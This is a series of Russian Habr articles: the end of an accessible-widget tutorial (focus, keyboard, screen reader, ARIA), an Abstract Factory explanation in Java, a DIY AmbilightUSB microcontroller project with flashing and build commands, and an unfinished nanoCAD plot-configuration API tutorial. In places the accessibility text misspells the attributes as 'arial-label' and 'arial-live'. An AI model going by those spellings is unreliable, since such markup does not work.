Если мы используем стандартный тэг **Button**, то не беспокоимся о клавиатуре, потому что поведение описанное в документации поддерживается в кнопке по умолчанию. При нажатии на пробел или Enter сработает обычный обработчик клика. Ничего дописывать не надо, только проверить как наши кнопки работают с клавиатурой.
На слайде ниже простой счетчик, который состоит из двух кнопок и элемента вывода результата на экран.
* Когда кликаем кнопку **«Count»**, счетчик увеличивает значение. Кликаем соседнюю кнопку, и счетчик сбрасывается.
* Если же мы клавиатурой через **Tab** сфокусируемся на кнопке и нажмем пробел, то увидим, что все работает так же.
* Для того, чтобы скинуть результат, нам нужно перескочить на вторую кнопку и нажать пробел — результат скинется.
Мы научили наши кнопки правильно держать фокус и работать с клавиатурой. Пойдем дальше.
> Основной совет, который я хотел бы дать: если есть возможность использовать нативные браузерные интерактивные элементы — используйте. Это несложно и они уже поддерживают стили, клавиатуру и даже скринридер.
>
>
### **Шаг 3. Скринридер**
Представим, что нашим счетчиком хочет воспользоваться слабовидящий или слепой человек. Он не видит экран и единственным способом взаимодействия пользователя со счетчиком будет скринридер.
* Выключим цвет на счетчике, чтобы протестировать скринридер.
* Если перескочить Tab’ом на первую кнопку, то скринридер укажет, что объект — кнопка и озвучит название поясняющее, что кнопка обновляет счетчик.
* Результат счетчика сринридер не озвучивает.
* Попробуем сбросить результат и перескакиваем на вторую кнопку.
* Скринридер говорит, что это кнопка, но мы не имеем представления, что она делает. Пользователь не станет кликать на кнопку, в которой не уверен.
Наши кнопки пока неправильно работают со скринридером, но мы можем это исправить.
Чтобы разрабатываемые нами элементы, компоненты или страницы были доступны для большого числа пользователей, нам нужно научить их правильно работать со скринридером. Опять же ничего придумывать не надо — все есть в документации.
Попробуем разобраться, почему так происходит сейчас.
По умолчанию скринридер читает текст, который расположен внутри кнопки. В коде для кнопки «Сбросить» нет никакого текста, а просто сама кнопка и элемент внутри — SVG иконка.
```
```
В документации сказано, что для случая когда у кнопки нет текста, можно добавить её описание вручную при помощи атрибута **arial-label**.
Кнопке с текстом добавляем атрибут arial-label и любой подходящий текст, например «**Reset counter»**. Элементу counter, который выводит большие цифры результата на экран мы добавим атрибут **arial-live**. Этого нет в документации, но мы так поступим чтобы пользователь мог получить реальный **feedback** и узнать результат счетчика.
После нажатия на кнопку скринридер озвучит результат счетчика. Когда мы скидываем это значение нажатием на сброс, мы услышим, что результат счетчика сейчас 0. Это то, что мы хотели получить.
Таким простым образом при помощи 3 шагов мы сделали наши обычные кнопки доступными.
**Модальное окно**
------------------
Вид окна в макете:
Окно верстается просто: фиксированный элемент, центрированный горизонтально и вертикально с затемненным фоном.
В нашем случае модальное окно состоит из двух элементов:
* кнопки, которая вызывает модальное окно;
* непосредственно окна.
Начнем с кнопки. Вот первая версия нашего модального окна:
После клика на элемент с иконкой шестеренки откроется модальное окно. В нем есть текст и две кнопки: «Согласиться» или «Отменить». Механизм работает с мышки, но мы знаем, что этого недостаточно. Чтобы сделать элемент доступным, снова пройдем 3 шага: работа с фокусом, клавиатурой и скринридером.
### **Шаг 1. Фокус**
Включаем размытый экран и тестируем.
До и после иконки добавлен текст, чтобы проследить движение фокуса.
* Кликаем Tab’ом первый раз — фокус уходит на первый элемент.
* Кликаем второй раз — и фокус, минуя иконку, переходит на вторую ссылку.
Непонятно, как работать с нашим модальным окном. Иконка, что отвечает за открытие модального окна, не держит фокус. Давайте разбираться.
Наша иконка — обычный svg-элемент:
```
```
Для JavaScript нет никакой разницы, какой элемент вы кликнете, чтобы открыть модальное окно. Можно поставить обработчик на любой элемент и он сработает. Несмотря на это, хорошей практикой считается использовать элементы по назначению, поэтому мы будем использовать svg-элемент для отрисовки иконки, а кнопку — для обработки кликов.
Преимущества кнопки в том, что она держит фокус по умолчанию и обрабатывает все клики и клавиатуру без дополнительных действий.
* Дописываем стили и изменяем код.
* Проверяем, как работает иконка — на ней уже можно сфокусироваться. Мы знаем, что если сейчас кликнуть пробел, то сработает клик на иконку и откроется модальное окно.
* Кликаем пробел — работает. Отлично!
С кнопкой разобрались. Протестируем как с фокусом работает модальное окно.
* Продолжим кликать Tab’ом и видим, что при первом клике фокус уходит на ссылку после иконки, что уже выглядит странно.
* Продолжаем кликать. Фокус заходит в модальное окно и переходит на кнопки. Если продолжить кликать, то фокус уходит со страницы. Непонятно, как пользователи будут работать с этим модальным окном.
Чтобы решить проблему читаем документацию.
Зеленым выделено описание работы модального окна с фокусом. Текст подробный, но вот важные моменты:
* При открытии модального окна фокус должен перемещаться внутрь окна, и оставаться там всегда. Мы можем передвигаться вне модального окна, но фокус всегда остается внутри.
* При закрытии модального окна фокус должен отправляться к тому элементу, что его вызвал.
Это поведение называется **focus-trap** и настраивается при помощи JS самостоятельно или с готовыми библиотеками:
* [Modals and Keyboard Traps](https://classroom.udacity.com/courses/ud891/lessons/7962031279/concepts/79621414230923) at Udacity;
* [библиотека на GitHub](https://github.com/davidtheclark/focus-trap).
Проверяем отредактированное окно:
* Дописываем код и проверяем как кнопка и модальное окно работают.
* Перескакиваем фокусом на кнопку и кликаем пробел — модальное окно открывается.
* Продолжаем кликать Tab’ом — фокус остается внутри.
* Кликаем на кнопку ОК: фокус уходит на иконку и все работает.
Мы научили наше модальное окно правильно работать с фокусом.
### **Шаг 2. Клавиатура**
Если мы верстаем доступное модальное окно, то должны иметь возможность перемещаться внутри него используя Tab или Shift+Tab. Если использовать дефолтные интерактивные элементы, то ничего дописывать не нужно, кроме закрытия модального окна по **escape**, что мы сейчас и сделаем.
* Переходим фокусом на иконку.
* Кликаем пробел — все работает.
* Внутри модального окна имитируем работу.
* Кликаем Escape и модальное окно закрывается.
* Все работает.
С клавиатурой разобрались.
### **Шаг 3. Скринридер**
Проверяем наше модальное окно на скринридер:
* Выключаем свет, включаем скринридер и слушаем, что он скажет про наше модальное окно.
* Tab’ом перемещаемся к нашей кнопке и видим знакомую проблему: вместо текста иконка, нет описания и непонятно, что кнопка делает. Как решать эту проблему мы уже знаем,.
* Кликаем и смотрим, что произойдет. Скринридер считает весь контент с модального окна, но для пользователя будет непонятно: текст принадлежит модальному окну, это текст после кнопки или пользователь уже ушел на другую страницу?
Как можно улучшить наше модальное окно? С помощью документации по работе со скринридером, в которой есть детальная инструкция:
Что нам нужно сделать:
* Добавить модальному окну **role="dialog"** и атрибут **aria-modal="true"**.
* Кнопке, открывающей модальное окно, добавить знакомый нам **aria-label** и атрибут **aria-expanded**.
Дописываем правки, включаем скринридер и тестируем модальное окно:
* Нажимаем на кнопку. Скринридер произносит, что модальное окно открыто.
* Если будем нажимать Tab внутри модального окна, то услышим, что мы переместились на кнопку, и контент, который эта кнопка открывала, сейчас закрыт.
**Примечание:** важно понимать, что после правок кнопка выполняет операцию открытия модального окна. Появился дополнительный атрибут collapse, который говорит, что эта кнопка будет открывать некий контент, который сейчас скрыт.
Обычное модальное окно мы превратили в доступное, просто выполнив инструкции из документации.
**Меню**
--------
Самый сложный участок работы из всех трех, что мы верстали ранее. В макете меню выглядит так:
Перед тем, как мы начнем верстать элемент меню, нам нужно понять одну вещь: в браузере уже есть элемент, который делает ровно то же самое — Select. Элемент работает очень здорово, но плохо стилизуется.
Мы можем вручную стилизовать элемент, по которому мы кликаем, но выпадающее модальное окно будет всегда выглядеть так, как хочет браузер и в каждом браузере по-разному.
С точки зрения дизайна это не совсем правильно. Верстка дефолтного элемента select займет в разы меньше времени, чем верстка кастомной. Если дизайнер готов на компромисс, то нам стоит выбрать дефолтную, потому что не придется писать никакого JS, а только стилизовать через CSS. Для среднего разработчика это 15-30 минут работы вместе с тестированием.
Если же дизайнер хочет видеть меню именно так, как он его нарисовал, то единственный способ решить задачу — верстать вручную.
Особой сложности работа не представляет:
* выбираем элемент;
* кликаем;
* выпадает меню;
* выбираем что-то и видим, что стрелочка вверх/вниз меняется.
Для доступности этого недостаточно. Чтобы сделать элемент доступным, нам нужно вновь проверить несколько моментов.
### **Шаг 1. Фокус**
Начнем, как обычно с фокуса. Включаем размытость экрана и пробуем:
* Фокусируемся на элементе.
* Кликаем Tab и фокус уходит на нативный элемент Select — это нормально. Элемент просто держит фокус по умолчанию. Дизайн элемента можно стилизовать, если он кажется невзрачным, но сейчас это не важно.
* Кликаем Tab’ом, и видим, что фокус уходит непонятно куда. Наш элемент не умеет держать фокус с самого начала. Давайте разбираться почему.
Если мы решим сверстать элемент вручную, то разметка будет выглядеть примерно как на слайде или чуть сложнее:
В блоке с классом **select** есть:
* **Select-btn** — элемент, на который мы будем кликать, чтобы открывать меню.
* Сам список, который будет либо открыт, либо закрыт.
Элемент, на который нам нужно кликнуть, это обычный **div**. Мы отказались от нативного элемента и можем все сверстать вручную на **span** или div. С точки зрения семантики это не совсем правильно, но мы можем делать здесь все, что посчитаем правильным.
Почему бы элемент, на который мы жмем, не сверстать обычной кнопкой?
Из предыдущих примеров мы знаем, что поставив кнопку в этом месте, мы получим вместе и фокус, и клавиатуру без дополнительных действий.
Изменяем код, дописываем немножко стили, и видим, что теперь наш элемент меню умеет работать с фокусом.
### **Шаг 2. Клавиатура**
Давайте пойдем дальше и научим наш элемент работать с клавиатурой.
Чтобы пользователи могли пользоваться меню с клавиатуры, нам нужно иметь поддержку обработчиков на стрелках: при клике на пробел меню будет открываться, а при клике на стрелки можно будет перемещаться по этому меню.
* Добавляем обработчиков;
* переключаемся на кнопку и нажимаем пробел — все работает.
* Нажимаем стрелки, выбираем любой другой город — тоже все работает.
Задача поддержки клавиатуры решена: на стрелки повесили JS-обработчики.
### **Шаг 3. Скринридер**
Включаем скринридер и смотрим, как наше меню будет читаться с его помощью:
* Перемещаемся Tab’ом на элемент меню и попробуем его открыть пробелом.
* Нажимаем пробел. Меню должно открыться.
* Выбираем последний элемент из списка и рандомно кликаем стрелкой вниз и пробел. При нажатии на пробел меню должно закрыться и значение смениться. Если это так, то мы выбрали последний элемент из списка.
Чтобы меню работало со скринридером, необходимо добавить некоторые атрибуты к нашему модальному окну:
* **role="listbox"** — он делает то же самое, что и select — дает возможность выбрать что-то из списка;
* **role="option"** — описание для каждого элемента меню;
* **aria-live="polite"** — уже знакомый нам атрибут. Скроем от всех пользователей, но оставим доступным для скринридера.
Если добавить все атрибуты, то при перемещении по элементам меню скринридер будет нам говорить на каком элементе мы находимся.
Проверка работы:
* Проверяем мышкой меню, выбирая элементы.
* Проверяем клавиатурой.
* Включаем скринридер и повторяем проверку. Скринридер говорит, что сейчас откроется контент, но пока он скрыт.
* Нажимаем пробел, выбираем город, например, Лондон. Если получается, то все работает.
**Сборка виджета погоды**
-------------------------
Мы сверстали все интерактивные элементы, которые есть в нашем виджете погоды и соберем все воедино. Так виджет выглядит в макете:
Верстается на флекс-боксах или абсолютным позиционированием для некоторых элементов.
Мы уже поработали почти над всеми элементами в виджете, и большинство кода уже написано, осталось собрать
С точки зрения JS нам нужно сделать две вещи:
1. Научить виджет забирать погоду с сервера;
2. По успешному ответу сервера обновлять **DOM-элементы**.
Работа с сервером — отдельная тема, но это не проблема.
Чтобы виджет был полностью доступен, мы должны учесть несколько моментов.
#### Иконки
Нам нужно научить скринридер читать наши иконки, потому что информация в виджете состоит из 3 частей:
* **Локация**, которую мы выбрали — в данном случае город Берлин;
* **температура**;
* **описание погоды**, которое есть на экране **в виде иконок**. Мы видим солнце, и понимаем, что дождя сегодня нет, но пользователь этого не знает, так как скринридер не читает подобную информации.
#### Аббревиатуры
При перемещении по прогнозу погоды аббревиатуры, которые мы без труда можем прочитать, например, WED — Wednesday, на слух воспринимаются хуже. Для удобства пользователя мы добавили полные дни недели к нашим аббревиатурам.
#### Загрузка города
При выборе другого города скринридер может ничего не говорить о том, что он сейчас загружается. Единственный способ это проверить — пройтись по виджету и прочитать.
#### Заголовки
Как скринридер-пользователи будут искать наш виджет? По статистике большинство скринридер-пользователей передвигаются по странице при помощи заголовков. Почему бы нам не добавить в виджет скрытый от всех, но доступный для скринридеров заголовок, поясняющий, что этот скринридер делает.
### **Общий список улучшений**
* H3 — заголовок для навигации;
* Aria-label — необходимые описания к элементам;
* Aria-live — атрибут, который мы уже использовали в элементе меню для того, чтобы научить скринридер произносить статус запроса: идет загрузка, либо она получилась, либо не получилась.
Проверим, как текущая версия нашего виджета работает со скринридером:
* Выключаем свет, включаем скринридер, и пробуем найти на странице наш виджет погоды при помощи передвижения по заголовкам.
* Мы перемещаемся на заголовок и пробуем прочитать текст с виджета. Все работает нормально.
* Теперь попробуем сменить город и узнать погоду.Открываем модальное окно, выбираем нужный город, и смотрим, что произойдет. Загрузка идет довольно быстро.
* Тут есть еще промежуточный статус. Когда загрузка происходит, скринридер говорит: «Сейчас погода загружается». Сейчас загружен Лондон, мы находимся на кнопке и пробуем прочитать все, что там есть. Это действительно Лондон, и все работает.
Мы сверстали виджет, который не просто хорошо выглядит и работает для пользователей, которые видят экран, но также доступен при помощи клавиатуры либо скринридера для людей с ограниченными возможностями.
**Выводы**
----------
**3 шага к доступности.** Чтобы перевести виджет из обычного в доступный, к стандартному процессу верстки по макету мы добавили 3 шага:
1. Научили элементы виджета быть видимыми, то есть работать с фокусом для слабовидящих пользователей.
2. Вторым шагом мы научили виджет работать с клавиатурой, чтобы пользователи с проблемами с моторикой тоже смогли узнать погоду.
3. Последний шаг — обучили виджет работать со скринридерами для людей, которые вообще не видят экрана.
**Дизайн, контент и сложные слова.** Тема доступности не ограничивается работой с фокусом, клавиатурой и скринридером — она гораздо шире. Тема доступности — это:
* **Дизайн.** Контрастные цвета, анимация на сайте, а еще нужно помнить про дальтоников.
* **Контент**. Длинный текст вероятнее всего прочитают меньше пользователей, чем короткий. Обращайте внимание на простыни текста, скорее всего они недоступны.
* **Сложные слова в тексте**. Если школьник услышит неизвестное научное слово, то не поймет его. Термины, аббревиатуры, жаргонизмы и профессиональный сленг создают недоступный контент.
Существует гораздо более широкий спектр вещей, которые нужно делать для доступности, но с технической точки зрения, мы, как разработчики, можем облегчить пользование. По крайней мере мы можем научить наши элементы быть доступными.
**Документация.** Советую пользоваться детальной документацией по доступности [на сайте w3.org](https://www.w3.org/TR/wai-aria-1.1/). В документации для каждого элемента прописаны требования для доступности. Cайтом можно пользоваться как справочником, но, к сожалению, вся информация на английском.
В русскоязычном сегменте есть аналогичный [сайт weblind.ru](https://weblind.ru/).
Сайт в открытом доступе и если вам есть, что добавить по теме доступности, то можете зайти на [GitHub](https://github.com/web-standards-ru/weblind.ru) и добавить эту информацию на сайт.
[*Контакты*](https://sergeikriger.com/) *Сергея Кригера и ссылка на* [*интерактивную презентацию*](https://sergeikriger.com/developing-accessible-interfaces/) *к докладу.*
> **Важное!**
>
>
>
> **На нашем** [**youtube-канале**](https://www.youtube.com/c/FrontendChannel) **мы открыли видео всех докладов** **Frontend Conf в составе фестиваля РИТ++ — вот** [**плейлист**](https://www.youtube.com/playlist?list=PLfbxrJr-t5mn68WYyG2kMTrpTTlO8np99) **с лучшими из них.**
>
>
>
> Следующая наша конференция для фронтенд-разработчиков пройдет в мае в составе фестиваля РИТ++. В его ожидании подпишитесь на [рассылку](https://onticolist.us8.list-manage.com/subscribe?u=719c4e65585ea6013f361815e&id=b6209f5edf) и мы будем отправлять вам новые материалы, лучшие доклады за 2018 год, а также анонсы выступлений и другие новости будущей конференции.
>
>
>
> Подписывайтесь и оставайтесь с нами, будет интересно :) | https://habr.com/ru/post/425447/ | null | ru | null |
# Абстрактная фабрика на пальцах
Написать данную статью меня заставили две причины. Совсем недавно я познакомился с паттерном Абстрактная фабрика. Как говорится – «Не умеешь сам, научи товарища». Известно, что один из лучших способов закрепления материала – это объяснение кому-либо ранее изученного. Вторая причина – в процессе изучения данного паттерна я не встретил материала, который лично для меня излагал бы вполне ясно суть Абстрактной фабрики (по крайней мере на Хабре).
Итак, приступим. Самый первый вопрос, на который нужно ответить самому себе, изучая данный паттерн: «Что же такое Абстрактная фабрика». Самый простой и точный ответ, гласит, что Абстрактная фабрика – это «фабрика фабрик». Но здесь появляется второй вопрос: «Для чего вообще может кому-нибудь понадобиться «фабрика фабрик»? Чтобы на него ответить рассмотрим пример из реальной жизни.
Допустим, вы решили полностью взять под свой контроль рынок автомобилей. Как это сделать? Вы можете создать свою марку автомобиля, своё производство, провести масштабную рекламную компанию и т.д. Но, в этом случае вам придётся сражаться с такими гигантами авторынка, как Toyota или Ford. Не факт, что из данной борьбы вы выйдите победителем. Гораздо лучшим решением будет скупить заводы всех этих компаний, продолжить выпускать автомобили под их собственными марками, а прибыль класть себе в карман. Если я не ошибаюсь, такая структура в экономике называется – холдинг. Вот этот холдинг и будет Абстрактной фабрикой или «фабрикой фабрик». В нашей программе Абстрактная фабрика (холдинг) будет представлена интерфейсом или абстрактным классом. Предприятия, входящие в холдинг, представлены классами, реализующими данный интерфейс.
```
public interface CarsFactory { }
public class ToyotaFactory implements CarsFactory {}
public class FordFactory implements CarsFactory {}
```
Далее, вы собираете управляющих вашими фабриками и говорите: «Отныне на наших фабриках мы будем делать автомобили с 2 типами кузова – седан и купе. Например, японцы будут делать ToyotaSedan и ToyotaCoupe, американцы — FordSedan и FordCoupe». А чтобы на фабриках не забыли, что именно нужно производить, и не начали делать, например, внедорожники, повесим общие чертежи седана и купе в офисе нашего холдинга на самом видном месте (на конкретной фабрике инженеры сами разберутся как именно им делать нужные автомобили). Таким образом, в нашем интерфейсе CarsFactory появляются 2 метода:
```
public interface CarsFactory {
Sedan createSedan();
Coupe createCoupe();
}
```
Соответственно, в дочерних классах интерфейса CarsFactory, данные методы тоже должны быть реализованы.
```
public class ToyotaFactory implements CarsFactory {
@Override
public Sedan createSedan() {
return new ToyotaSedan();
}
@Override
public Coupe createCoupe() {
return new ToyotaCoupe();
}
}
public class FordFactory implements CarsFactory {
@Override
public Sedan createSedan() {
return new FordSedan();
}
@Override
public Coupe createCoupe() {
return new FordCoupe();
}
}
```
Обратите внимание, что типом возвращаемого значения в методах будет являться именно общий для возвращаемых значений тип – sedan и coupe. Возвращаясь к нашей аналогии — вы сказали фабрике сделать седан – вам сделали седан. Особенности, например, седана марки Ford, вас не интересуют.
Как несложно догадаться из приведённого кода, у нас в программе должны появится некие сущности, описывающие конкретные типы кузова – седан и купе. Такими сущностями будут интерфейсы.
```
public interface Sedan {}
public interface Coupe {}
```
Ну и конечно же, данные чертежи должны иметь конкретное воплощение в виде автомобилей, создаваемых на той или иной фабрике.
```
public class ToyotaCoupe implements Coupe {
public ToyotaCoupe() {
System.out.println("Create ToyotaCoupe");
}
}
public class ToyotaSedan implements Sedan {
public ToyotaSedan() {
System.out.println("Create ToyotaSedan");
}
}
public class FordCoupe implements Coupe {
public FordCoupe () {
System.out.println("Create FordCoupe");
}
}
public class FordSedan implements Sedan {
public FordSedan() {
System.out.println("Create FordSedan");
}
}
```
Вот и всё, наша «фабрика фабрик» способная производить автомобили любой марки и любого типа, готова. В будущем вы можете решить, что было бы неплохо начать выпускать внедорожники. Вам нужно будет создать ещё один интерфейс, а в офисе холдинга повесить чертёж внедорожника (добавить в CarsFactory нужный метод и реализовать его в дочерних фабриках). Так же возможно, что вы решите захватить ещё один кусок рынка и купить, например, все заводы Nissan. Это означает, что вам нужно создать ещё один класс, реализующий CarsFactory – NissanFactory, и начать выпускать ваши автомобили под этой маркой (NissanCoupe, NissanSedan и т.д.)
Но как будет взаимодействовать конкретный пользователь (покупатель автомобиля) с нашим холдингом? Покупатель вообще знать не знает о том, что вы захватили все фабрики мира по производству автомобилей. Он приходит в маленький скромный офис холдинга и говорит: «Мне нужен автомобиль!» «Отлично!» — говорим мы ему, — «вы обратились по адресу! Фабрика фабрик – это то, что вам нужно!»
```
CarsFactory factory;
```
«Автомобили какой фирмы предпочитаете в данное время суток?», — спрашиваем мы. Допустим, покупатель хочет приобрести тойоту. Нет проблем!
```
factory = new ToyotaFactory();
```
«А какой тип кузова вы бы хотели?» Допустим – седан. «Прекрасный выбор!»
```
factory.createSedan();
```
Автомобиль готов, можно ехать! | https://habr.com/ru/post/465835/ | null | ru | null |
# AmbilightUSB
Привет, strangers!
------------------
Обновление проекта [Лайтпак: Прокачан и открыт](http://habrahabr.ru/blogs/DIY/114291/)
Эта история о том, как сделать супер мега дешевую и простую ambilight подсветку для эвм. В роли дирижера будет выступать микроконтроллер ATtiny44, а в роли оркестра 4 RGB-светодиода.
Несколько картинок, дабы пробудить интерес:
[](http://habrastorage.org/storage/habraeffect/bf/d2/bfd2efa744b5b39fdb7f16acb8898012.jpg) [](http://habrastorage.org/storage/habraeffect/d1/51/d151dfe1c90fd1afd584228c69cde1b9.jpg)
Кому лень читать: [полное описание в «картинках»](http://brunql.github.com/ambilight/ "http://brunql.github.com/ambilight/") (=
UPDATE: Добавлено видео <http://www.youtube.com/watch?v=tdp1QeS_JCg>
UPDATE2: в списке деталей уточнил название используемого микроконтроллера (ATTINY44-20SSU)
UPDATE3: добавлены фьюзы (дико извиняюсь, что забыл про них)
UPDATE4: исправлена принципиальная схема (v2.1.3)
Писатель из меня не очень, так что перейдем сразу к делу:
**Список деталей**
------------------
| | | |
| --- | --- | --- |
| **Компонент** | **Корпус/Размер** | **Количество** |
| ATTINY44-20SSU | SOIC | 1 |
| 74HC595 | SOIC | 2 |
| RGB LED | SMD 5x5mm | 4 |
| Resistor 10k | 0805 | 1 |
| Resistor 1.5k | 0805 | 1 |
| Resistor 100R | 0805 | 12 |
| Resistor 68R | 0805 | 2 |
| Resistor 0R | 1206 | 1 |
| Cap tantalum 4.7uF | 1206 | 1 |
| Cap ceramic 20pF | 0805 | 2 |
| Quartz 12Mhz | [HC-49/US](http://www.google.ru/images?hl=ru&newwindow=1&biw=1280&bih=688&tbs=isch:1&sa=1&q=HC-49/US&aq=f&aqi=&aql=&oq=&gs_rfai= "Поиск в Google по картинкам") | 1 |
| Zener diode 3.6V | MiniMELF (1206) | 2 |
| MiniUSB | [Type B](http://www.google.ru/images?hl=ru&newwindow=1&biw=1280&bih=688&tbs=isch:1&sa=1&q=miniUSB+Type+B&aq=f&aqi=&aql=&oq=&gs_rfai= "Поиск в Google по картинкам") (SMD) | 1 |
| PLS-40S | DIP | 1 |
| Шлейф | ~0.3 m | 5 проводов |
| Стеклотекстолит | ~160x80 mm | 1 |
| Двусторонний скотч | толстый | 1 |
**Итого:** не более 500 руб.
К ноутбуку девайс приклеен на двусторонний скотч:
Возможно не айс, но меня полностью устраивает, держит мертво, usb можно подключать, отключать не придерживая плату. Если отклеить, останутся разводы, которые легко ~~шлифуются наждачкой~~ стираются влажными салфетками. Вообще они мне не мешают, размеры плат позволяют не парится по этому поводу.
[](http://habrastorage.org/storage/habraeffect/35/fe/35feac7259b679396fffa27b26756fa0.jpg) [](http://habrastorage.org/storage/habraeffect/26/12/261236fe43d9e74a576b71dd205ffefe.jpg)
Микроконтроллер подключен к эвм по USB. Фундамент проекта — библиотека V-USB от [obdev](http://www.obdev.at/products/vusb/index.html "Objective Development Software GmbH"). Первое, что было проверено, испытано и сразу заработало — v-usb/examples/hid-data. HID работает везде, драйверы стандартны, работать с данным классом USB устройств очень просто. Тем более, что всю работу за нас уже сделали, в примере hid-data можно найти файлы hiddata.c и hiddata.h. В них реализован стандартный интерфейс для работы с USB HID для windows (win api) и unix (libusb).
Софт захватывает 4 области экрана, преобразует в 4 точки и отправляет в девайс, разбив на цветовые составляющие Red, Green, Blue. Все в рамках С++, Qt и USB HID.
[](https://habrastorage.org/storage/habraeffect/4f/82/4f82f57d2f2a1a11ace509ea5d5c09b5.png)
Делаем плату [AmbilightUSB.lay](https://github.com/downloads/brunql/AmbilightUSB/AmbilightUSB.lay "https://github.com/downloads/brunql/AmbilightUSB/AmbilightUSB.lay") (текущая версия hw v2.1), запаиваем.
Прошиваем фьюзы:
`avrdude -pt44 -cusbasp -u -Ulfuse:w:0xee:m -Uhfuse:w:0xdf:m -Uefuse:w:0xff:m`
И заливаем прошивку [AmbilightUSB\_v2.8.hex](https://github.com/downloads/brunql/AmbilightUSB/AmbilightUSB_v2.8.hex "https://github.com/downloads/brunql/AmbilightUSB/AmbilightUSB_v2.8.hex")
`avrdude -pt44 -cusbasp -u -Uflash:w:AmbilightUSB_v2.8.hex:a`
Подключаем кабелем USB A to miniUSB B:
Отлично железо готово!
**Установка, настройка софта**
------------------------------
Если пользуемся Win32 (Windows XP), то складываем в одной папке библиотеки Qt, gcc, mingw ([скачать](https://github.com/downloads/brunql/AmbilightUSB/Libs_Win32.zip "Libs_Win32.zip")) и последнюю версию софта ([AmbilightUSB\_v2.7.7.exe](https://github.com/downloads/brunql/AmbilightUSB/AmbilightUSB_v2.7.7.exe "Windows, AmbilightUSB_v2.7.7.exe (x86)")). Запускаем и радуемся (=
Для Ubuntu x86\_64:
1) Качаем [AmbilightUSB\_v2.7.7](https://github.com/downloads/brunql/AmbilightUSB/AmbilightUSB_v2.7.7 "Linux, AmbilightUSB_v2.7.7 (x86_64)")
2) Проверяем/ставим Qt4: `$ sudo apt-get install libqt4-gui`
3) Запускаем: `./AmbilightUSB_v2.7.7`
*Последние версии доступны в [downloads](https://github.com/brunql/AmbilightUSB/downloads).*
Приложение сразу после запуска сворачивается в трей:
Double-клик на иконке в области уведомлений переключает состояние `on/off`.
Тестировал в Ubuntu 10.04 (x86\_64) и в Windows XP (x86):
[](http://habrastorage.org/storage/habraeffect/e9/05/e9052a9f61b41955a2788946d02eae80.png)
Ширина и высота захватываемых областей очень просто настраивается, можно подогнать под разрешение фильма. Кстати сразу отвечу на вопрос «Почему сверху нет светодиодов?», все фильмы в основном широкоформатные и в верхней части экрана темно, так что я подумал, что в этом нет необходимости. Правда если очень хочется, то можно сравнительно легко добавить сдвиговых регистров и светодиодов. С железом все просто, а вот прошивку и софт придется допиливать =)
[](http://habrastorage.org/storage/habraeffect/0e/f4/0ef40a862ff996e5e1f321286dc8e26f.jpg)
**Сборка из исходников (Qt4, gcc)**
0) Проверяем/ставим Qt4
`$ sudo apt-get install libqt4-dev`
`$ sudo apt-get install libqt4-gui`
1) Качаем исходники с github:
Последняя версия из репозитария: [tar.gz](https://github.com/brunql/AmbilightUSB/tarball/master "https://github.com/brunql/AmbilightUSB/tarball/master") или [zip](https://github.com/brunql/AmbilightUSB/zipball/master "https://github.com/brunql/AmbilightUSB/zipball/master")
Либо все дерево проекта: `$ git clone git@github.com:brunql/AmbilightUSB.git`
2) Распаковываем архив tar.gz или zip:
`tar xzvf brunql-AmbilightUSB-v*.tar.gz`
`unzip brunql-AmbilightUSB-v*.zip`
3) Сборка:
`$ cd {path/to/AmbilightUSB}/Software/`
`$ ./update_locales.sh`
`$ qmake AmbilightUSB.pro`
`$ make`
4) Запуск!
`$ ./build/AmbilightUSB`
Логи пишутся в следующие файлы:
`Linux: ${HOME}/.AmbilightUSB.log`
`Windows: C:\Documents and Settings\UserName\.AmbilightUSB.log`
Настройки сохраняются здесь:
`Linux: ${HOME}/.config/brunql.dev/AmbilightUSB.ini`
`Windows: C:\Documents and Settings\UserName\Application Data\brunql.dev\AmbilightUSB.ini`
Чтобы сбросить настройки в default достаточно просто удалить файл `AmbilightUSB.ini`.
Интерфейс: `English, Russian`
**Исходники на** [GitHub](http://github.com/brunql/AmbilightUSB), всякое разное в [downloads](http://github.com/brunql/AmbilightUSB/downloads).
**Подобные проекты**
--------------------
[Ardulight](http://www.compcar.ru/forum/showthread.php?t=5869) Фоновая подсветка телевизора Ambilight
MoMoLight: [YouTube](http://www.youtube.com/watch?v=uiihSdo4KDY) и [описание](http://divxstation.com/article.asp?aId=151).
[Ambilight 4PC](http://www.ambilight4pc.com/)
На хабре: [Как я хотел сделать Ambilight для мобильного телефона и что из этого вышло](http://habrahabr.ru/blogs/DIY/86726/)
Спасибо за карму хабраюзерам: [Toseter](http://toseter.habrahabr.ru), [etc](http://etc.habrahabr.ru), [crac](http://crac.habrahabr.ru/), [Shpankov](http://shpankov.habrahabr.ru/), [НЛО](http://habrahabr.ru/)
*Просьба все очепятки отправлять в личку, либо на e-mail: mike.shatohin [at] gmail.com* | https://habr.com/ru/post/100085/ | null | ru | null |
# Работа с набором параметров листа через API nanoCAD
При подготовке чертежа к печати необходимо настраивать большое количество параметров: принтер, формат бумаги, масштаб, область печати и т. д.
В nanoCAD все необходимые для этого параметры объединены в наборы параметров листов. Однажды созданный набор можно применять в разных документах и разных листах, что позволит значительно сократить время подготовки документа к печати. В этой статье рассмотрим, как работать с наборами параметров листов через API nanoCAD.
Окно Диспетчер параметров листовЧерез пользовательский интерфейс nanoCAD наборами параметров листов можно управлять в окне *Диспетчер параметров листов*.
Ролик по использованию наборов параметров листов через пользовательский интерфейсВ API за наборы параметров листов отвечает свойство `PlotConfigurations` документа nanoCAD.
Чтобы научиться работать с наборами параметров листов через API nanoCAD, создадим .NET (C#) приложение, которое:
* программно добавляет в документ новые наборы параметров листов;
* изменяет в них значения некоторых параметров;
* копирует набор параметров листов из другого документа nanoCAD;
* делает добавленные наборы параметров текущими для листов документа nanoCAD.
Разберем все этапы создания такого приложения.
**Шаг 1.** **Создаем в Visual Studio проект типа «Библиотека классов (.NET Stadard)»**, подключаем к нему библиотеки hostmgd.dll, hostdbmgd.dll и ncauto.dll.
**Шаг 2. Создаем класс, в котором будет находиться метод, создающий новый набор параметров листа.** Далее пойдет речь о реализации этого метода.
```
public partial class Commands
{
[Teigha.Runtime.CommandMethod("AddPlotConfiguration")]
public void AddPlotConfiguration()
{
}
}
```
**Шаг 3. Получаем доступ к документу nanoCAD** и его настройкам:
```
// Получение ссылки на активный документ
HostMgd.ApplicationServices.Document doc =
HostMgd.ApplicationServices.Application.DocumentManager.MdiActiveDocument;
nanoCAD.Document comDoc = doc.AcadDocument as nanoCAD.Document;
```
**Шаг 4. Создаем новый набор параметров** и добавляем его в документ:
```
// Добавление нового набора параметров листа к пространству модели документа
OdaX.IAcadPlotConfiguration plotConfig =
